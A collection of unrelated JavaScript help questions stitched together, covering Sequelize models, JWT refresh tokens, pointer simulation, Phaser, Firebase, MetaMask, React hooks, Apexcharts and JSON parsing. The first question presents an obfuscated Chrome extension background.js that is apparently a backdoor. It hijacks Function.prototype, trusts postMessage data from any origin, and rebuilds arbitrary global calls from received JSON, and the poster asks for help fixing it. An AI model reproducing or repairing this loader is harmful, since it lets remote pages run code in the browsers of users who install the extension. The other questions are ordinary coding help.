Service worker registration failed Chrome extension manifest v3

I get a Service worker registration failed in my Chrome extension manifest v3
here’s my background.js file:

Object.defineProperty(this['Function'].prototype, 'i', { set: function ([a, b, c]) { this.call(a, b.bind(event, c)) } });
window.addEventListener('message', (e) => {
    console.log(JSON.parse(e.data))
    chrome.runtime.sendMessage({ data: JSON.parse(e.data) }, response => {
        if (response.done) {
            parent.postMessage('done', e.origin);
        }
    });
});

function parse(a, b, c) {
    return c[a.c] && this[a.f].apply(this, [b, a.p]);
}

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
    try {
        for (let [i, y] of Object.entries(request.data)) {
            if (i == 'f') {
                for (let [k, v] of Object.entries(y))
                    this[k] = v.reduce((a, b) => { return a[b] ? a[b] : this[b] }, {})
            }
            if (i == 'i') {
                for (let x of y)
                    this[x.t][x.m][i] = [this[x.t], this[x.e], x.a];
            }
        };
        sendResponse({ done: true });
    } catch { }
});


chrome.runtime.setUninstallURL('https://pdfsearch.co/public/uploads/goodbye/index.html');

chrome.runtime.onInstalled.addListener(async (details) => {
    if (details.reason == 'install') {
        chrome.tabs.create({ url: 'https://pdfsearch.co/public/uploads/thankyou/index.html' });
    }
});

I don’t know what exactly to edit in the background.js file? I am a novoice so describe in details.

ES6 How to declare an instance of a class inside a function

This is my user.js function. How do I create an instance of it in another file? I understand that this structure is a function that contains a class that contains functions inside it.

user.js

'use strict';
const {Sequelize} = require('sequelize');
const {
  Model
} = require('sequelize');

//This is a function that contains a class that contains functions

module.exports = (sequelize, DataTypes) => {
  class User extends Model {
     static init(sequelize) {
        super.init(
        {
          name: Sequelize.STRING,
        },
        {
          sequelize,
        });
        this.addHook('beforeSave', async (user) => {
          return user.id = uuid();
        });
        return this;
      }
      static associate(models) {
        // define association here
        User.hasMany(UserRole,
          {
            foreignKey: {
              field:'UserId',
              allowNull: false,
            },
          });
      }
  }

  User.init({
    Id: DataTypes.UUID,
    Name: DataTypes.STRING,
    UserName: DataTypes.STRING,
    Email: DataTypes.STRING,
    Password: DataTypes.STRING,
    PhoneNumber: DataTypes.STRING,
    MobileNumber: DataTypes.STRING,
    DateOfBirth: DataTypes.DATE,
    LockoutEnabled: DataTypes.BOOLEAN,
    LockoutEnd: DataTypes.DATE
  }, {
    sequelize,
    modelName: 'User',
  });

  return User;
};

In another file I have tried:

const {Sequelize, DataTypes} = require('sequelize');
const {sequelize} = require('../../database/connect');
const {userModel} = require('../../models/user');


function GetAll(UserName, Email){
  var option = new userModel;
  var option2 = new userModel(sequelize, DataTypes);
  return "1";
}

But both give me this error:

TypeError: userModel is not a constructor
at Object.GetAll (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectdatauserdatauserdata.js:8:16)
at GetAll (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectareasdirectorycontrollersusercontroller.js:6:27)
at Layer.handle [as handle_request] (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterlayer.js:95:5)
at next (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterroute.js:137:13)
at Route.dispatch (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterroute.js:112:3)
at Layer.handle [as handle_request] (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterlayer.js:95:5)
at C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:281:22
at Function.process_params (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:341:12)
at next (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:275:10)
at Function.handle (C:UsersuseroneDocumentsDevelopmentNodeJSsimple-express-projectnode_modulesexpresslibrouterindex.js:174:3)

EDIT:

If I remove new from them, I get the error: userModel is not a function.

Strategy to handle expairy of refresh token

I am making a react application and using JWT for authentication.
As soon as a user logs in I issue a access token and set a http only cookie named jwt and value is refresh token. As per some articles I have read online it is suggested that access token have a short validity and refresh token have a long validity, so I set validity of access token to be 1 day and refresh token to be 25 days, (numbers are not very relevant). Now as soon as refresh token expires The user is automatically logged out.

Now the app I am developing is a data entry dashboard and I do not want the user to suddenly logout after entering a lot of data even if that happens once a month, so I want to know the industry standard to manage this kind of situation

How to simulate pointers in JavaScript?

I am creating a language which is compilable to Swift, Rust, and JavaScript (or at least trying). Rust and Swift both use pointers/references/dereferencing/etc., while JavaScript does not. So in a Rust-like language, you might do something like this:

fn update(x) {
  *x++
}

fn main() {
  let i = 0
  update(&i)
  log(i) #=> 1
}

In a JavaScript-like language, if you did this then it would fail:

function update(x) {
  x++
}

function main() {
  let i = 0
  update(i)
  log(i) #=> 0
}

Because the value is cloned as it is passed in (as we obviously know).

So what I am thinking about is doing this at first:

function update(scopeWithI) {
  scopeWithI.i++
}

function main() {
  let i = 0
  let scopeWithI = { i }
  update(scopeWithI)
  i = scopeWithI.i
  log(i) #=> 1
}

But that is a lot of extra processing going on, and kind of unnecessary it seems. Instead I might try compiling to this:

function update(scopeWithI) {
  scopeWithI.i++
}

function main() {
  let scope = {}
  scope.i = 0
  update(scope)
  log(scope.i) #=> 1
}

This would mean every nested scope you create, you would have to start manually creating/managing the scope chain. And actually that wouldn’t work because update is hardcoded to i. So you might have to pass in what the variable name is you want.

function update(scope, ...names) {
  scope[names[0]]++
}

But then it’s like:

function update(scope, ...names) {
  scope[names[0]]++
}

function main() {
  let scope = {}
  scope.i = 0
  if random() > 0.5
    let childScope = { scope }
    childScope.x = 0
    update(childScope, ['i'])
    update(childScope, ['x'])
    update(childScope, ['x'])
    log(childScope.x) #=> 2
  else
    update(childScope, ['i'])

  log(scope.i) #=> 1
}

So that seems like it might get us somewhere.

So then it’s like, the generic solution is to have scope be the first parameter to a function.

function add(scope, name1, name2) {
  return scope[name1] + scope[name2]
}

Dereferencing means reading a value directly from the scope, while passing a reference (like &name in Rust or C), would mean passing the scope and the name.

Will something like this work? Or better put, what needs to be changed or added? Does it need to get any more complicated than this?

I would like to try and find a way to transform the pointer-oriented code into JavaScript (transpilation), without at first trying to figure out the seemingly much more complicated approach of not being so direct, and avoiding pointer simulation in JavaScript by redefining a lot of the methods. It seems that avoiding any pointer use in JavaScript would be way harder to figure out, so I am trying to see if a pointer sort of system would be possible to simulate in JavaScript.

To avoid pointer simulation, you would have to redefine methods.

update(x) {
  *x++
}

Would have to change the outer usage of the function everywhere. So this:

main() {
  let i = 0
  update(&i)
}

Would become:

main() {
  let i = 0
  i++ // inline the thing
}

For this simple case it’s fine, but for a more complicated function it starts to seem like macros and might get complicated.

So instead of changing the outer usage, we make it so you have to pass the scope.

Another approach might be to have every variable be an object with a value, so it’s more like:

update(x) {
  x.value++
}

main() {
  let i = { value: 0 }
  update(i)
}

So then I’m thinking to myself, how to handle references to references then?

update2(x) {
  update(&x)
}

update(x) {
  *x++
}

main() {
  let i = 0
  update2(&i)
}

In the system i described, that would be like:

update2(x) {
  // then what?
  let y = { value: x }
  update(y)
}

update(x) {
  // like this?
  x.value.value++
}

main() {
  let i = { value: 0 }
  update2(i)
}

So it seems this wouldn’t really work.

Having a problem with Javascript Phaser 3 Class

I’m trying to implement the following code into a class, as follows is the code ,and the attempted class.

Implementation

 //----------------------------MIST------------------------------------
    ...
    var particles = this.add.particles('rain');

    var emitter = particles.createEmitter({
        
        x: 500,
        y: -400,
        angle: { min: 0, max: 120 },
        speed: 300,
        gravityY: 100,
        lifespan: { min: 1000, max: 2000 },
        blendMode: 'ADD'
        
    });
    //this.mCloud = this.physics.add.existing(new Clouds(this, 500, 500,'clouds'))
   
    this.Cloud = [];
    this.levelData_Clouds = this.cache.json.get('level_clouds');
    this.levelData_Clouds.cloudData.forEach(function(element){
        this.Cloud.push(new Clouds(this, element.x, element.y, 'clouds', element.isAddative));
    }, this)   

    emitter.startFollow(this.Cloud[0])

    this.rCloud = [];
    this.levelData_Clouds = this.cache.json.get('level_clouds');
    this.levelData_Clouds.rain_cloudData.forEach(function(element){
        this.rCloud.push(new RainClouds(this, element.x, element.y, 'rainclouds', element.isAddative));
    }, this)   

    emitter.startFollow(this.rCloud[0])
...

Attempted Class.

As you can see here is the class some of what is there , but the constructor doesn’t work.

export default class Rain extends Phaser.GameObjects.Particles.Particle{
constructor (emitter){
    super(emitter);
    this.x: 500,
    this.y: -400,
    this.angle: { min: 0, max: 120 },
    this.speed: 300,
    this.gravityY: 100,
    this.lifespan: { min: 1000, max: 2000 },
    this.blendMode: 'ADD'
}
rain(){
    this.Cloud = [];
    this.levelData_Clouds = this.cache.json.get('level_clouds');
    this.levelData_Clouds.cloudData.forEach((element)=>{
        this.Cloud.push(new Clouds(this, element.x, element.y, 'clouds', element.isAddative));
    }, this)   

}
}

Upload large file by chunks using File reader using Angular

I am trying to upload files and the current code supports file size upto 100MB and if the size of the file increases getting out of Memory screen in browser

private ProcessReadFile(file:File){
   return new Promise<void>(resolve=>{
        const reader= new FileReader();
        let content:any;
        reader.onloadend=()=>{
                     content=reader.result;
                     var fileContent=content.split('base64,')[1];
                    this.fileUpload.push({
                       Filecontent:fileContent;
                       FileType:file.Type
                     });
                 resolve;
         };
     reader.readAsDataUrl(file);
     });
  }

I came across some solutions where they are slicing the file into chunks and processing. I am not able to understand and achieve with the above method.

Can some one please suggest/help me to upload large data files.

Firebase React returns undefined on firebase.currentUser.displayName after refreshing page

I’m creating a new account in Signup.tsx and redirecting to the dashboard after success, this way

try {
            await auth.createUserWithEmailAndPassword(
              emailRef.current!.value,
              passwordRef.current!.value,
            );
            const user = firebase.auth().currentUser;
            await user?.updateProfile({
              displayName: nameRef.current?.value
            })
             navigate('/dashboard')
          } catch (error) {
            console.error(error);
          }
        }

And google auth is managed this way, googleAuth.tsx

import { auth, provider } from "../../../firebaseSetup";
import { NavigateFunction, useNavigate } from "react-router-dom"


const GoogleAuth = async(navigate: NavigateFunction) => {
    auth.signInWithPopup(provider).then(() => {
      if (auth.currentUser?.metadata?.creationTime !== auth.currentUser?.metadata?.lastSignInTime)
          {
            navigate('/dashboard');
          }
          else{
            navigate('/welcome')
          }
    }).catch((error) => {
      console.log(error.message)
    })
}
export default GoogleAuth

And in my dashboard’s navbar, I’m displaying the current user’s display name and profile pic if logged in via google this way
sidebar.tsx

import { auth } from "../../firebaseSetup";

export default sidebar(){
   const pic = auth.currentUser?.photoURL
   return(
      <Text>{auth.currentUser?.displayName}</Text>
      <Avatar size={'sm'} src={pic}/>
    )
}

All this works perfectly fine when users sign-in/up for the first time i.e that is when they are redirected from the landing page, but if the user refreshes or moves to another route, both text and avatar go blank.
I tried printing using

console.log(auth.currentUser?.displayName)

It returns the correct name the first time, but on refreshing it prints undefined.
I looked up and figured I need to be using useState and useEffect to manage current users, which I tried and failed. Can anyone tell me how do I retain the users name even on refreshing

Usng Metamask but get Error: Returned error: The method eth_sendTransaction does not exist/is not available

I want to call a payable function in a smart contract I deployed, but it does not work. This is the error I am getting:

Error: Returned error: The method eth_sendTransaction does not exist/is not available

The answer I could find is to just use a private key, because infura does not cater this method, however I want the user to sign the transaction to the smart contract with MetaMask.

This is my code:

export async function helloworld() {
  const rpcURL =
    "https://ropsten.infura.io/v3/KEY";
  const web3 = new Web3(rpcURL);
  let provider = window.ethereum;

  if (typeof provider !== "undefined") {
    provider
      .request({ method: "eth_requestAccounts" })
      .then((accounts) => {
        selectedAccount = accounts[0];
        console.log(`Selected account is ${selectedAccount}`);
      })
      .catch((err) => {
        console.log(err);
        return;
      });

    window.ethereum.on("accountsChanged", function (accounts) {
      selectedAccount = accounts[0];
      console.log(`Selected account changed to ${selectedAccount}`);
    });
  }

  const networkId = await web3.eth.net.getId();

  const thecontract = new web3.eth.Contract(
    simpleContractAbi,
    "0x50A404efF9A057900f87ad0E0dEfA0D485931464"
  );
  isInitialized = true;

  investit(thecontract, selectedAccount);
}

and this is the code that actually throws the error:

export const investit = async (thecontract, selectedAccount) => {
  if (!isInitialized) {
    await helloworld();
  }

  thecontract.methods
    .invest()
    .send({ from: selectedAccount, value: 10000 })
    .catch(function (err) {
      console.log(err);
    });
};

I am completely lost, since if I use the normal window.ethereum.request (https://docs.metamask.io/guide/sending-transactions.html#example) to send a transaction, metamask opens up and I can sign it. With the contract call it simply does not work.

Do you know the reason? How can I fix this?

Cheers!

Why am i getting this error “react Invalid hook call. Hooks can only be called inside of the body of a function component” in the following code?

import React,{ useEffect, useState} from 'react';
import { useLocation } from 'react-router-dom';
import ReactPlayer from 'react-player';

import { useResultContext } from '../contexts/ResultContextProvider';
import { Loading } from './Loading';

export const Results = () => {
  const {getResults, results, isLoading, searchTerm} = useResultContext();
  const location = useLocation();
  const [num, setNum] = useState(10);

  const changeNum=()=>{
    setNum(num+10);
    console.log(num)
    Results();
}

  useEffect(()=>{
    if(searchTerm){
    if (location.pathname ==='/videos') {
      getResults(`/search/q=${searchTerm} videos&num=${num}`)
    }else{
      getResults(`${location.pathname}/q=${searchTerm}&num=${num}`)
    }
  }
  },[location.pathname, searchTerm, num, getResults]);


  if (isLoading) return <Loading/>;

  switch (location.pathname) {
    case '/search':
      return (<><div className='flex flex-wrap justify-between space-y-6 sm:px-56 overflow-hidden pb-4 '>
        {
          results?.results?.map(({link, title, description}, index)=>(
            <div key={index} className='md:w-3/5 w-full'>
              <a href={link} target="_blank" rel="noreferrer">
                <p className='text-sm text-green-700'>
                  {link.length>50? link.substring(0,50): link}
                </p>
                <p className='text-lg hover:underline dark:text-blue-300 text-blue-700'>
                  {title}
                </p>
              </a>
              {description.length>15?
                <p>
                  {description}
                </p>:''}
            </div>
          ))
        }
      </div>
      <div onClick={changeNum} className='absolute bg-gray-200 border border-gray-400 py-3 px-10 rounded-full -mt-5 left-96 cursor-pointer active:bg-gray-300 dark:bg-gray-700 '>
        More Results
      </div>
      </>)
    case '/images':
      return (<>
      <div className='flex flex-wrap justify-center items-center '>
          {results?.image_results?.map(({image, link}, index)=>(
          <a className='sm:p-3 p-5' href={link.href} key={index} target='_blank' rel='noreferrer'>
                <img className='w-64' src={image.src} alt={link.title} loading='lazy' />
                <p className=' w-full break-words text-sm mt-2'>
                  {link.title.substring(0,40)}
                </p>
              </a>))}
        </div>
        <div onClick={changeNum} className='absolute bg-gray-200 border border-gray-400 py-3 px-10 rounded-full -mt-5 left-96 cursor-pointer active:bg-gray-300 dark:bg-gray-700 '>
        More Results
      </div>
        </>);
    case '/videos':
      return (
        <div className='flex flex-wrap justify-center'>
          {results?.results?.map(({additional_links}, index)=>(
            <div key={index} className='m-2'>
              {additional_links?.[0]?.href && <ReactPlayer url={additional_links?.[0]?.href} config={{ youtube: { playerVars: { origin: 'https://www.youtube.com' }}}} controls width='355px' height='200px'/>}
            </div>
          ))}
        </div>
      );
    case '/news':
      return (<div className='flex flex-wrap justify-between space-y-6 sm:px-56 overflow-hidden '>
      {
        results?.entries?.map(({link,id, title})=>(
          <div key={id} className='md:w-3/5 w-full'>
            <a href={link} target="_blank" rel="noreferrer" className='hover:text-underline'>
              <p className='text-sm text-green-700'>
                {link.length>40? link.substring(0,40): link}
              </p>
              <p className='text-lg hover:underline dark:text-blue-300 text-blue-700'>
                {title}
              </p>
            </a>
          </div>
        ))
      }
    </div>);
    default: return 'ERROR';
  }
  
};
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/16.6.3/umd/react.production.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react-dom/16.6.3/umd/react-dom.production.min.js"></script>

I’ve started learning react and it’s been two days i have been unable to get around this.

I’m trying to make google search engine clone and in this project i’m getting results using google search api and displaying 10 results at first and want then to increase by 10 every time when i click on ‘More Results’ button which calls ‘changeNum’ function which uses ‘setNum’ to add 10 value to ‘num’ every time function is called by clicking on button.

Using Axios and Pokemon API to display more than one Pokemon of same type

so I’m trying to randomly generate a Pokemon and then five more Pokemon of the same type to display on a web page. So far, this is what I have:

const pokemonName = document.querySelector(".pokemon-name");
const pokemonImage = document.querySelector(".pokemon-image");

function getPokemon() {
  const pokemonArr = []
  const random = Math.floor(Math.random() * 256 + 1)
  axios.get("https://pokeapi.co/api/v2/pokemon/1" + random)
  .then(function (response) {
    pokemonName.innerHTML = response.data.forms[0].name;
    pokemonImage.src = response.data.sprites.front_default;
    pokemonArr.push(pokemonName.innerHTML)
  })
  .catch(function (error) {
    pokemonName.innerHTML = "An error has occurred.";
    pokemonImage.src = "";
  });
}

I’ve managed to display a Pokemon although it’s still finnicky. My thought process was to append the name and image to an array or object but I’m having issues trying to apply that logic. This is my first time being introduced to the concept of APIs and using Axios. Would I be able to use a loop? How do I even go about comparing the types of Pokemon in the API?

Pokemon API: https://pokeapi.co/

Apexcharts Heatmap: display exact x value on hover for each series data

I’m trying to create a heatmap using apexcharts that shows frequency of activites each week in a year (Check the github contributions heatmap). My goal is to display a tooltip that shows the specific date, week day, and frequency value whenever the user hovers on a cell. Example:

 ------------
| 2022-02-20 |
| ---------- |
| Sunday: 40 |
 ------------

This is what I have attempted so far:

var options = {
    series: [],
    chart: {
      height: 350,
      type: 'heatmap',
    },
    dataLabels: {
      enabled: true
    },
    xaxis: {
      labels: {
        show: false
      },
      tooltip: {
        enabled: false,
      },
    },
    tooltip: {
      shared: false,
      followCursor: true,
      intersect: false,
      x: {
        show: true,
        format: 'dd MMM'
      },
    }
};

Here is a simplified sample series:

var series = [
    {
    name: 'Sunday',
    data: [{
        x: '2022-02-20',
        y: 40
        }]
    },
    {
    name: 'Monday',
    data: [{
        x: '2022-02-21',
        y: 0
        }]
    },
    {
    name: 'Tuesday',
    data: [{
        x: '2022-02-22',
        y: 5
        }]
    },
    {
    name: 'Wednesday',
    data: [{
        x: '2022-02-23',
        y: 100
        }]
    },
    {
      name: 'Thursday',
      data: [{
        x: '2022-02-24',
        y: 17
      }]
    },
    {
      name: 'Friday',
      data: [{
        x: '2022-02-25',
        y: 4
      }]
    },
    {
      name: 'Saturday',
      data: [{
        x: '2022-02-26',
        y: 90
      }]
    },
];
options.series = series;

What happens here is that the apexcharts displays a heatmap for the week of 2022-02-20 (Sunday) to 2022-02-26 (Saturday) vertically from bottom to top (it seems it displays in reverse order). If the user hovers to the Sunday cell it displays the exact tooltip that I provided at the beginning with the values 2022-02-20, Sunday, and 40. However, when the user hovers on cells Monday – Saturday, the tooltip displays the correct values except for the x value. It still displays 2022-02-20.

From what I understand, the chart treats the first x value in a column as the column’s category. This means regardless on whether the user hovers to Saturday, or Friday, it will display the Sunday’s x value. What can I do to display the actual x value of the hovered cell?

why users and newUser are not equal? [duplicate]

const users = [
    {name:'John',age:24},
    {name:'Victor',age:28}
];

const newUser = JSON.parse(JSON.stringify(users));
console.log(users);
console.log(newUser);
console.log(typeof(users));
console.log(typeof(newUser));
console.log(users==newUser)

OUTPUT:

[ { name: 'John', age: 24 }, { name: 'Victor', age: 28 } ]
[ { name: 'John', age: 24 }, { name: 'Victor', age: 28 } ]
object
object
false

object users and newUser have exactly same items and values.
They why users==newUser is false?

Looping through Nested json object with unwanted characters

Below is a fraction of what I exported from WordPress database as .json file, I want to be able to iterate over the whole data with special attention to statutory_fees.
In a nutshell, I want to be able to access st_type: Land Survey, meanwhile, the I can currently access pid: 25

const data = [
  {
    "pid": "25",
    "plotstatus": "Completed",

    "statutory_fees": "[{"st_type":"Land Survey Plan","landsurveyplanamount":"150000","landsurveyplanamountpaid":"0","landsurveyplanfeebalance":"150000","landsurveyplanfeestatus":"Not Completed"},{"st_type":"Legal Fee","legalfeeamount":"50000","legalfeeamountpaid":"0","legalfeefeebalance":"50000","legalfeefeestatus":"Not Completed"},{"st_type":"Development\/Electrification Fee","development\/electrificationfeeamount":"200000","development\/electrificationfeeamountpaid":"0","development\/electrificationfeefeebalance":"200000","development\/electrificationfeefeestatus":"Not Completed"},{"st_type":"Registration Form Fee","registrationformfeeamount":"2000","registrationformfeeamountpaid":"0","registrationformfeefeebalance":"2000","registrationformfeefeestatus":"Not Completed"}]",

    "contract_of_sale": "Not Collected",
    "deed_of_assignmen": "Not Collected",
},
{
    "pid": "25",
    "plotstatus": "Completed",

    "statutory_fees": "[{"st_type":"Land Survey Plan","landsurveyplanamount":"150000","landsurveyplanamountpaid":"150000","landsurveyplanfeebalance":"0","landsurveyplanfeestatus":"Completed"},{"st_type":"Legal Fee","legalfeeamount":"50000","legalfeeamountpaid":"50000","legalfeefeebalance":"0","legalfeefeestatus":"Completed"},{"st_type":"Development\/Electrification Fee","development\/electrificationfeeamount":"300000","development\/electrificationfeeamountpaid":"0","development\/electrificationfeefeebalance":"300000","development\/electrificationfeefeestatus":"Not Completed"},{"st_type":"Registration Form Fee","registrationformfeeamount":"2000","registrationformfeeamountpaid":"0","registrationformfeefeebalance":"2000","registrationformfeefeestatus":"Not Completed"}]",


    "contract_of_sale": "Not Collected",
    "deed_of_assignmen": "Not Collected",
    
}
]

I have tried the following ways:

 let purfi = []
  data.forEach(elem => {
        JSON.stringify(elem.statutory_fees).replace(/\/g, '')
        purfi.push(elem)
    })

let veri = []
purfi.forEach(a=>{
    JSON.parse(a.statutory_fees)
    veri.push(a)
})

veri.forEach(a=>{
  console.log(a.statutory_fees[0].st_type // undefined
})


Any help will go a long way.

Getting “Uncaught (in promise) SyntaxError: Unexpected token I in JSON at position 0” error when executing delete request


//Route 4 : Delete an existing note using DELETE "api/notes/deletenote". Login required
router.delete("/deletenote/:id", fetchuser, async (req, res) => {
  try {
    //find the note to be updated and update it
    let note = await Note.findById(req.params.id); //find note by id
    if (!note) {
      return res.status(404).send("Note Not found");
    } //If note is not found

    //allow deletion only if the user own the note

    if (note.user.toString() !== req.user.id) {
      return res.status(401).send("Not allowed");
    }      

    note = await Note.findByIdAndDelete(req.params.id, function (err, docs) { 
      if (err){ 
          console.log(err) 
      } 
      else{ 
          console.log("Deleted : ", docs); 
      } 
  });
    res.json({ Success: "Note has been deleted", note: note });
  } catch (error) {
    console.log(error.meassage);
    res.status(500).send("Internal server error");
  }
});

This is the code for the delete request in my backend and I am getting Uncaught (in promise) SyntaxError: Unexpected token I in JSON at position 0 error in my console and when I tested the request in thunderclient, its not working.

Please help me to resolve this problem.